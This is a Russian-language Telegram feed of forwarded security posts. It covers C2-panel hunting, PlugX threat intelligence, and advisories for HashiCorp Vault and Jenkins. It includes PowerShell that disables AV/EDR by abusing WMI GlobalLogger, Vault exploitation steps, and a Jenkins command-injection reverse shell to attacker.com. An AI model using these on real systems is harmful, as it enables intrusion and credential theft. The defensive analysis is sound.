Forwarded from Threat Hunting Father 🦔
Hunting C2 Panels: Beginner’s Guide for Identifying Command and Control Dashboards
Открытые панели управления и контроля (C2) представляют собой активные информационные панели, используемые злоумышленниками для проведения своих кампаний. Они предоставляют операторам централизованную точку для наблюдения за зараженными устройствами, перемещения украденных данных и отправки новых инструкций.
На практике эти панели работают как центры управления операцией. Через простой веб-интерфейс злоумышленники могут видеть жертв, собирать информацию, такую как местоположение или системные данные, собирать учётные данные или криптовалютные кошельки, а также распространять новые вредоносные нагрузки. Подобные панели являются стандартным компонентом современных семейств вредоносных программ
В этом руководстве рассматриваются некоторые из наиболее распространённых сегодня в интернете панелей: Supershell, HookBot, Chaos RAT, UnamWebPanel, Metasploit и Mythic. У каждой из них есть характерные особенности, которые её выдают: URL-адрес, заголовок, хэш значка сайта или даже ссылка на код. Умение распознавать эти подсказки облегчает отслеживание инфраструктуры злоумышленников и блокировку до того, как они будут использованы не по назначению.
https://hunt.io/blog/hunting-c2-panels-beginners-guide
🦔THF
Открытые панели управления и контроля (C2) представляют собой активные информационные панели, используемые злоумышленниками для проведения своих кампаний. Они предоставляют операторам централизованную точку для наблюдения за зараженными устройствами, перемещения украденных данных и отправки новых инструкций.
На практике эти панели работают как центры управления операцией. Через простой веб-интерфейс злоумышленники могут видеть жертв, собирать информацию, такую как местоположение или системные данные, собирать учётные данные или криптовалютные кошельки, а также распространять новые вредоносные нагрузки. Подобные панели являются стандартным компонентом современных семейств вредоносных программ
В этом руководстве рассматриваются некоторые из наиболее распространённых сегодня в интернете панелей: Supershell, HookBot, Chaos RAT, UnamWebPanel, Metasploit и Mythic. У каждой из них есть характерные особенности, которые её выдают: URL-адрес, заголовок, хэш значка сайта или даже ссылка на код. Умение распознавать эти подсказки облегчает отслеживание инфраструктуры злоумышленников и блокировку до того, как они будут использованы не по назначению.
https://hunt.io/blog/hunting-c2-panels-beginners-guide
🦔THF
Forwarded from ByTe [ ]f Digital Life
Как убить службу AV/EDR не прибегая к symlink и сторонним драйверам в Windows
Как показал кейс с использованием Procmon и аналогичных утилит, ключевая идея состоит в поиске драйвера, который фиксирует события на самых ранних этапах загрузки операционной системы. Возникает естественный вопрос: можно ли обойтись без установки собственных драйверов и дополнительных компонентов, опираясь только на доступные в системе механизмы и не прибегая к символическим ссылкам.
А что, если немножечко изменить те пути куда уже пишутся какие то логи самой системой?
И тут есть отличная веточка реестра
WMI AutoLogger - способ настраивать одну или несколько автосессий трассировки, которые стартуют при загрузке. В отличие от GlobalLogger, каждая AutoLogger-сессия самостоятельно рассылает провайдерам сигнал включения и может быть точно настроена под нужный набор провайдеров. AutoLogger не предназначен для записи специальных событий ядра NT Kernel Logger - для этого используется GlobalLogger.
WMI GlobalLogger - исторически более ранний механизм единственной глобальной сессии. Он также стартует на раннем этапе загрузки и может включать ядровые провайдеры через специальные флаги. Важно, что контроллер GlobalLogger не вызывает EnableTrace для провайдеров - провайдер сам должен определить, что глобальная сессия активна, и включить запись.
В AutoLogger уже есть достаточное количество различных сессий, можете тестировать разные (какие то работают, какие-то нет). В моем случае использовалась
Для GlobalLogger по умолчанию у меня не было никаких настроек, но можно добавить их самостоятельно:
Из минусов только наличие прав админа и перезагрузка хоста, но в целом выглядит жизнеспособно.
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Как показал кейс с использованием Procmon и аналогичных утилит, ключевая идея состоит в поиске драйвера, который фиксирует события на самых ранних этапах загрузки операционной системы. Возникает естественный вопрос: можно ли обойтись без установки собственных драйверов и дополнительных компонентов, опираясь только на доступные в системе механизмы и не прибегая к символическим ссылкам.
А что, если немножечко изменить те пути куда уже пишутся какие то логи самой системой?
И тут есть отличная веточка реестра
HKLM\SYSTEM\CurrentControlSet\Control\WMI в которой существуют AutoLogger и GlobalLogger.WMI AutoLogger - способ настраивать одну или несколько автосессий трассировки, которые стартуют при загрузке. В отличие от GlobalLogger, каждая AutoLogger-сессия самостоятельно рассылает провайдерам сигнал включения и может быть точно настроена под нужный набор провайдеров. AutoLogger не предназначен для записи специальных событий ядра NT Kernel Logger - для этого используется GlobalLogger.
WMI GlobalLogger - исторически более ранний механизм единственной глобальной сессии. Он также стартует на раннем этапе загрузки и может включать ядровые провайдеры через специальные флаги. Важно, что контроллер GlobalLogger не вызывает EnableTrace для провайдеров - провайдер сам должен определить, что глобальная сессия активна, и включить запись.
В AutoLogger уже есть достаточное количество различных сессий, можете тестировать разные (какие то работают, какие-то нет). В моем случае использовалась
HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ReadyBoot, где можно заменить путь указанный в FileName на путь к файлу службы, который хотим перезаписать.Для GlobalLogger по умолчанию у меня не было никаких настроек, но можно добавить их самостоятельно:
$reg = [wmiclass]'root\default:StdRegProv'
$HKLM = 2147483650
$base = 'SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger'
$null = $reg.CreateKey($HKLM,$base)
$reg.SetDWORDValue($HKLM,$base,'Start',1)
$reg.SetStringValue($HKLM,$base,'FileName','C:\<путь до файла службы который требуется перезаписать>.exe')
$flags = 0x00000010 -bor 0x00000020
$bytes = [BitConverter]::GetBytes([UInt32]$flags)
$reg.SetBinaryValue($HKLM,$base,'EnableKernelFlags',$bytes)
Из минусов только наличие прав админа и перезагрузка хоста, но в целом выглядит жизнеспособно.
Forwarded from Adaptix Framework
Закрепляю версию: AdaptixC2 v0.9
Что нового: https://adaptix-framework.gitbook.io/adaptix-framework/changelog-and-updates/v0.8-greater-than-v0.9
Что нового: https://adaptix-framework.gitbook.io/adaptix-framework/changelog-and-updates/v0.8-greater-than-v0.9
Forwarded from Threat Hunting Father 🦔
Cisco Talos описывает кампанию с 2022 года против telecom & manufacturing в Central/South Asia, приводящую к установке кастомного PlugX. Вариант пересекается с RainyDay и Turian: одинаковые законные приложения для DLL sideloading, единая крипто-цепочка XOR → RC4 → RtlDecompressBuffer (LZNT1) и частичный reuse RC4-ключей.
Точные страны: Казахстан (телеком-оператор) и Узбекистан (ранее поражённые цели). В целом — Central & South Asia. Для BackdoorDiplomacy исторически: Africa, Europe, Middle East, Asia.
Наиболее вероятный актор — Naikon (PlugX-variant использует конфиг-формат RainyDay). Пересечения с BackdoorDiplomacy (Turian): схожие цели, однотипные лоадеры и крипто-примитивы → либо shared tooling/vendor, либо фактически один кластер.
Законный EXE → DLL search order hijacking (
pc2msupp.dll) → чтение зашифрованного shellcode из соседнего файла → XOR → RC4 → LZNT1 → выполнение.• RainyDay:
s.exe → rdmin.src → self-inject.• PlugX (variant): KMSEldi.exe →
Mcsitesdvisor.afx → self-inject в контекст KMSEldi.exe.• Turian:
wingervlansec.exe → wingervlansec.dat → inject в wabmig.exe или explorer.exe → загрузка configer.dat (Config) и wingervlansec.ini (в т.ч. секция "AntiVir").Шеллкод-формат:
XOR prelude → RC4 → LZNT1 (RtlDecompressBuffer).RC4-ключи (reuse между семействами):
8f-2;g=3/c?1wf+c92rv.a — RainyDay / PlugX / Turian;jfntv\1-m0vt801tyvqaf_)U89chasv` — RainyDay / PlugX;отдельные ключи у части Turian по сэмплам.
ROL25 additive API hashing; местами Control-Flow Flattening.
PE-аномалия: у распакованных DLL намеренно искажён
e_lfanew (невалидное смещение заголовка).🧵 Dev-артефакты / PDB
Строки указывают на проекты dll-to-shellcode / shellcodeloader, присутствует
icmpsh-master (提供网页版); встречались сборки, где MicrosoftEdgeUpdate.exe используется как альтернативный sideload-carrier.Кастомизированный BackDoor.PlugX.38: конфиг в стиле RainyDay, дополнительный XOR для строк; эскалация SeDebugPrivilege/SeTcbPrivilege (строки спрятаны модифицированным TEA); маскировка службы в
services.exe; HTTPS для C2; библиотека VTCP 10.12.08; встроенный keylogger (логи активны 2022 → Dec 2024).Carriers (allow-list → alert):
KMSEldi.exe, wingervlansec.exe, s.exe (Mobile Popup Application, Quick Heal Technologies, signed).Соседние файлы/паттерны:
pc2msupp.dll + Mcsitesdvisor.afx / rdmin.src / wingervlansec.dat / configer.dat / wingervlansec.ini.Process lineage: carrier.exe → (self) или →
wabmig.exe/explorer.exe (child) + исходящий HTTPS.Memory heuristics: короткий XOR-пролог → RC4 →
RtlDecompressBuffer(LZNT1) вскоре после чтения локального файла; ROL25-хеширование API.PE-аномалии: DLL с неадекватным
e_lfanew после распаковки.PDB/строки:
dlltoshellcode, shellcodeloader_vs2008, icmpsh-master, MicrosoftEdgeUpdate.exe.Включить SafeDllSearchMode, настроить KnownDLLs, запретить side-by-side DLL в рабочих каталогах критичных приложений.
WDAC/AppLocker: deny для неожиданных DLL рядом с известными EXE; строгие allow-lists для апдейтеров/утилит.
EDR canaries: алерты на
RtlDecompressBuffer + RC4-like циклы после чтения локального файла; отдельные правила на запуск KMSEldi.exe / wingervlansec.exe вне «зоны доверия».Инвентаризация и мониторинг редко используемых «обновляющих» бинарников как потенциальных sideload-carriers.
TL;DR: один loader-скелет (XOR→RC4→LZNT1), общие carriers (
KMSEldi.exe / wingervlansec.exe / s.exe), частичный reuse RC4-ключей и единые Dev-артефакты связывают RainyDay, Turian и PlugX(variant) в единую операцию; атрибуция к Naikon — medium confidence, с устойчивыми пересечениями с BackdoorDiplomacy.Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
www.opennet.ru
Отставка команды модераторов NixOS из-за разногласий с управляющим комитетом
Команда модераторов, отвечавшая за поддержание порядка в форумах и репозиториях проекта NixOS, объявила о снятии с себя полномочий в знак протеста против действий управляющего комитета (SC - Steering Committee), вмешивающегося в работу модераторов и пытающегося…
🔗Ссылка:
https://opennet.ru/63967/
https://opennet.ru/63967/
Forwarded from purple shift
HashiCorp Vault — мощный opensource-инструмент, предназначенный для хранения, управления и защиты доступа к чувствительным данным: паролям, API-ключам, сертификатам. Он централизует работу с секретами, автоматизирует их выдачу и отзыв, а также обеспечивает тонкий контроль доступа в сложных распределённых инфраструктурах. Взаимодействие с Vault возможно через API, веб-интерфейс или CLI, а аутентификация поддерживает широкий спектр методов, включая интеграцию с Kubernetes и облачными платформами.
Однако... в августе этого года в HashiCorp Vault было обнаружено 9 уязвимостей, одна из которых (CVE-2025-6000) критическая (score 9.1). И это первая в истории публично задокументированная RCE-уязвимость в HashiCorp Vault, просуществовавшая 9 лет до исправления.
Уязвимость позволяет привилегированному оператору Vault создать подконтрольный файл аудита и зарегистрировать его как плагин, чтобы получить возможность выполнения произвольного кода.
Для эксплуатации нужно:
0. Иметь root токен. Его получение выходит за рамки данной статьи, однако стоит упомянуть, что связка нескольких CVE даёт возможность это сделать: CVE-2025-6037 позволяет имперсонироваться через уязвимость проверки сертификатов, CVE-2025-5999 позволяет повысить привилегии до root.
Условие является необходимым, так как для создания аудита и регистрации плагина обычно нужны привилегии root.
1. Определить директорию с плагинами. При попытке загрузить несуществующий файл эндпоинт возвращает сообщение об ошибке, которое содержит полный путь к директории. Достаточно отправить
и в ответ получить
Полный путь до директории плагинов нужен для записи файла аудита в эту директорию. А запись именно в этот каталог необходима для последующей загрузки файла в качестве плагина. Плагины могут быть загружены только из этой директории.
2. Записать файл аудита в каталог плагинов. Для этого зарегистрировать аудит с такими параметрами:
Указывается директория с плагинами из предыдущего шага.
Файл аудита должен быть исполняемым (rwxr-xr-x)
Эта часть содержит наш пейлоад. Содержимое префикса будет выполняться при загрузке плагина.
3. Зарегистрировать плагин. Для регистрации плагина необходимо указать его sha256, однако тут есть загвоздка: лог аудита содержит различные временные метки, а также хэшированные данные, предсказать которые практически невозможно. Поэтому для получения точной копии лога аудита, можно предварительно зарегистрировать еще один аудит, транслирующий логи на подконтрольный нам сокет. В этом случае добавляется шаг по удалению аудита с префиксом перед подсчетом sha256.
После регистрации исполняемого файла в качестве плагина, он выполняется от имени пользователя vault.
Как обнаружить эксплуатацию CVE-2025-6000:
1. Корреляция событий из шагов выше явно укажет на попытку эксплуатации:
- Попытка регистрации несуществующего плагина;
- Cоздание аудита с указанием prefix и mode;
- Удаление недавно созданного аудита (также рекомендуем мониторить удаление аудита в принципе, так как это событие само по себе должно вызывать подозрения);
- Регистрация подозрительного плагина.
2. Отслеживайте аномалии в цепочках процессов от vault. Например, запуск скриптов.
Методы защиты:
Уязвимость CVE-2025-6000 исправлена в Vault Community Edition 1.20.1 и Vault Enterprise 1.20.1, 1.19.7, 1.18.12 и 1.16.23.
Поэтому стоит обновиться до этих версий. В исправленных версиях аудит с префиксом требует явного указания в конфигурации vault, а также аудит не может использовать файлы с правами на выполнение (0777, 0755 и т.д.) и не может быть записан в директорию плагинов.
Однако... в августе этого года в HashiCorp Vault было обнаружено 9 уязвимостей, одна из которых (CVE-2025-6000) критическая (score 9.1). И это первая в истории публично задокументированная RCE-уязвимость в HashiCorp Vault, просуществовавшая 9 лет до исправления.
Уязвимость позволяет привилегированному оператору Vault создать подконтрольный файл аудита и зарегистрировать его как плагин, чтобы получить возможность выполнения произвольного кода.
Для эксплуатации нужно:
0. Иметь root токен. Его получение выходит за рамки данной статьи, однако стоит упомянуть, что связка нескольких CVE даёт возможность это сделать: CVE-2025-6037 позволяет имперсонироваться через уязвимость проверки сертификатов, CVE-2025-5999 позволяет повысить привилегии до root.
Условие является необходимым, так как для создания аудита и регистрации плагина обычно нужны привилегии root.
1. Определить директорию с плагинами. При попытке загрузить несуществующий файл эндпоинт возвращает сообщение об ошибке, которое содержит полный путь к директории. Достаточно отправить
POST /v1/sys/plugins/catalog/non_existing_name
и в ответ получить
1 error occurred:\n\t* failed to verify plugin plugin \"non_existing_name\" version \"v1.0.0\": extracted artifact directory not found: /home/vault/vault_plugins/non_existing_name_1.0.0_linux_amd64\n\n
Полный путь до директории плагинов нужен для записи файла аудита в эту директорию. А запись именно в этот каталог необходима для последующей загрузки файла в качестве плагина. Плагины могут быть загружены только из этой директории.
2. Записать файл аудита в каталог плагинов. Для этого зарегистрировать аудит с такими параметрами:
file_path (путь к файлу аудита) = "/home/vault/vault_plugins/script.sh" Указывается директория с плагинами из предыдущего шага.
mode (права на файл аудита) = "0755" Файл аудита должен быть исполняемым (rwxr-xr-x)
prefix (префикс будет добавлен перед каждым логом) = "#!/bin/bash\n(some bash payload)" Эта часть содержит наш пейлоад. Содержимое префикса будет выполняться при загрузке плагина.
3. Зарегистрировать плагин. Для регистрации плагина необходимо указать его sha256, однако тут есть загвоздка: лог аудита содержит различные временные метки, а также хэшированные данные, предсказать которые практически невозможно. Поэтому для получения точной копии лога аудита, можно предварительно зарегистрировать еще один аудит, транслирующий логи на подконтрольный нам сокет. В этом случае добавляется шаг по удалению аудита с префиксом перед подсчетом sha256.
После регистрации исполняемого файла в качестве плагина, он выполняется от имени пользователя vault.
Как обнаружить эксплуатацию CVE-2025-6000:
1. Корреляция событий из шагов выше явно укажет на попытку эксплуатации:
- Попытка регистрации несуществующего плагина;
- Cоздание аудита с указанием prefix и mode;
- Удаление недавно созданного аудита (также рекомендуем мониторить удаление аудита в принципе, так как это событие само по себе должно вызывать подозрения);
- Регистрация подозрительного плагина.
2. Отслеживайте аномалии в цепочках процессов от vault. Например, запуск скриптов.
Методы защиты:
Уязвимость CVE-2025-6000 исправлена в Vault Community Edition 1.20.1 и Vault Enterprise 1.20.1, 1.19.7, 1.18.12 и 1.16.23.
Поэтому стоит обновиться до этих версий. В исправленных версиях аудит с префиксом требует явного указания в конфигурации vault, а также аудит не может использовать файлы с правами на выполнение (0777, 0755 и т.д.) и не может быть записан в директорию плагинов.
Forwarded from Похек
CVE-2025-53652: Jenkins под ударом через Git Parameter
#jenkins #devops #dev #git
Command injection в популярном Jenkins Git Parameter Plugin ставит под угрозу DevOps инфраструктуру тысяч организаций. Несмотря на официальную оценку "Medium", исследователи VulnCheck доказали возможность удаленного выполнения кода и компрометации CI/CD пайплайнов.
🪲 Суть уязвимости
Git Parameter Plugin не валидирует параметры, передаваемые в build-процессы. Плагин принимает произвольные значения вместо проверки соответствия предложенным вариантам, что позволяет инъекцию команд через Git-параметры.
Затронутые версии: 439.vb_0e46ca_14534 и ранее
Исправлено в: 444.vca_b_84d3703c2
#️⃣ Техническая механика атаки
➡️ Цепочка эксплуатации
Плагин встраивает пользовательский ввод напрямую в shell-команды без валидации. Git как GTFObin предоставляет множество способов выполнения команд, делая cmd injection особенно опасной.
➡️ Практический эксплойт
❗️ Масштаб проблемы
VulnCheck провел анализ интернет-экспозиции Jenkins:
15,000 Jenkins-серверов полностью доступны без аутентификации, что делает RCE возможным "из коробки".
ℹ️ Требования для эксплуатации
➡️ Аутентифицированные атаки
- Права Item/Build на целевом проекте
- Знание имени build-задачи
- Валидная сессия и CSRF-токен
➡️ Неаутентифицированные атаки
Даже на серверах без аутентификации требуется:
- Валидный session cookie
- Jenkins-Crumb (CSRF токен)
- Имя build-задачи
❗️ Реальное воздействие
➡️ В случае успешного похека
➡️ Потенциальные последствия
- Доступ к master.key — полная компрометация Jenkins
- Исходный код проектов — утечка интеллектуальной собственности
- Секреты CI/CD — credentials, API ключи, сертификаты
- Supply chain атаки — внедрение backdoor в артефакты
- Lateral movement — распространение по инфраструктуре
❗️ Митигация и защита
➡️ Немедленные действия
1. Обновление плагина до версии 444.vca_b_84d3703c2+
2. Проверка bypass-флага — убедиться, что не установлен:
3. Аудит конфигурации — отключить ненужные плагины
➡️ Долгосрочная стратегия
- Принцип наименьших привилегий для build permissions
- Сетевая сегментация Jenkins от критических систем
- Мониторинг активности через SIEM/SOC
- Регулярные security assessments CI/CD инфраструктуры
Источники:
🔗 VulnCheck Analysis
🔗 Jenkins Security Advisory
🔗 CVE-2025-53652 NVD
🌚 @poxek | MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
#jenkins #devops #dev #git
Command injection в популярном Jenkins Git Parameter Plugin ставит под угрозу DevOps инфраструктуру тысяч организаций. Несмотря на официальную оценку "Medium", исследователи VulnCheck доказали возможность удаленного выполнения кода и компрометации CI/CD пайплайнов.
Git Parameter Plugin не валидирует параметры, передаваемые в build-процессы. Плагин принимает произвольные значения вместо проверки соответствия предложенным вариантам, что позволяет инъекцию команд через Git-параметры.
Затронутые версии: 439.vb_0e46ca_14534 и ранее
Исправлено в: 444.vca_b_84d3703c2
# Нормальный параметр
BRANCH_PARAM = "master"
# Выполняется: git rev-parse --resolve-git-dir /path/master/.git
# Вредоносный параметр
BRANCH_PARAM = "$(sleep 80)"
# Выполняется: git rev-parse --resolve-git-dir /path/$(sleep 80)/.git
# Результат: команда sleep выполняется как дочерний процесс
Плагин встраивает пользовательский ввод напрямую в shell-команды без валидации. Git как GTFObin предоставляет множество способов выполнения команд, делая cmd injection особенно опасной.
# Reverse shell через curl
curl -kv 'http://jenkins:8080/job/buildName/build' -X POST \
-H 'Cookie: [cookie]' \
--data-urlencode 'Jenkins-Crumb=[crumb]' \
--data-urlencode 'json={"parameter":{"name":"BRANCH_PARAM","value":"$(bash -c \"bash &> /dev/tcp/attacker.com/12700 <&1\")"}}'
VulnCheck провел анализ интернет-экспозиции Jenkins:
| Категория | Количество серверов | Риск|
|------------------------|---------------------|-------------|
| Требуют аутентификации | 100,000+ | Средний |
| Открытая регистрация | ~1,000 | Высокий |
| Без аутентификации | ~15,000 | Критический |
15,000 Jenkins-серверов полностью доступны без аутентификации, что делает RCE возможным "из коробки".
- Права Item/Build на целевом проекте
- Знание имени build-задачи
- Валидная сессия и CSRF-токен
Даже на серверах без аутентификации требуется:
- Валидный session cookie
- Jenkins-Crumb (CSRF токен)
- Имя build-задачи
# Получение необходимых данных
curl -kv http://target:8080/ -o /dev/null # Получить cookie
curl -kv http://target:8080/job/buildName/build -H 'Cookie: [cookie]' | grep "data-crumb-value="
# Результат эксплуатации
$ nc -lvnp 1270
Connection received on 172.18.0.3 55664
$ id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
$ cat ~/secrets/master.key
05322ff531f1b52117bf013b2fe77b40dacbc56268d68b9e234216fe825a0073a5c8051181033f630e67c408d58c3ef631e18ba8b8e6722e64d3c1380518e89a91b4256c5c348febceb24ef32f144045ed422dfb4bdc840aca33814989e431aa00db6df7c403da38247324783811d46c6f3caa1f9b1b26d979fff4391249ca8a
- Доступ к master.key — полная компрометация Jenkins
- Исходный код проектов — утечка интеллектуальной собственности
- Секреты CI/CD — credentials, API ключи, сертификаты
- Supply chain атаки — внедрение backdoor в артефакты
- Lateral movement — распространение по инфраструктуре
1. Обновление плагина до версии 444.vca_b_84d3703c2+
2. Проверка bypass-флага — убедиться, что не установлен:
-Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true
3. Аудит конфигурации — отключить ненужные плагины
- Принцип наименьших привилегий для build permissions
- Сетевая сегментация Jenkins от критических систем
- Мониторинг активности через SIEM/SOC
- Регулярные security assessments CI/CD инфраструктуры
Источники:
Please open Telegram to view this post
VIEW IN TELEGRAM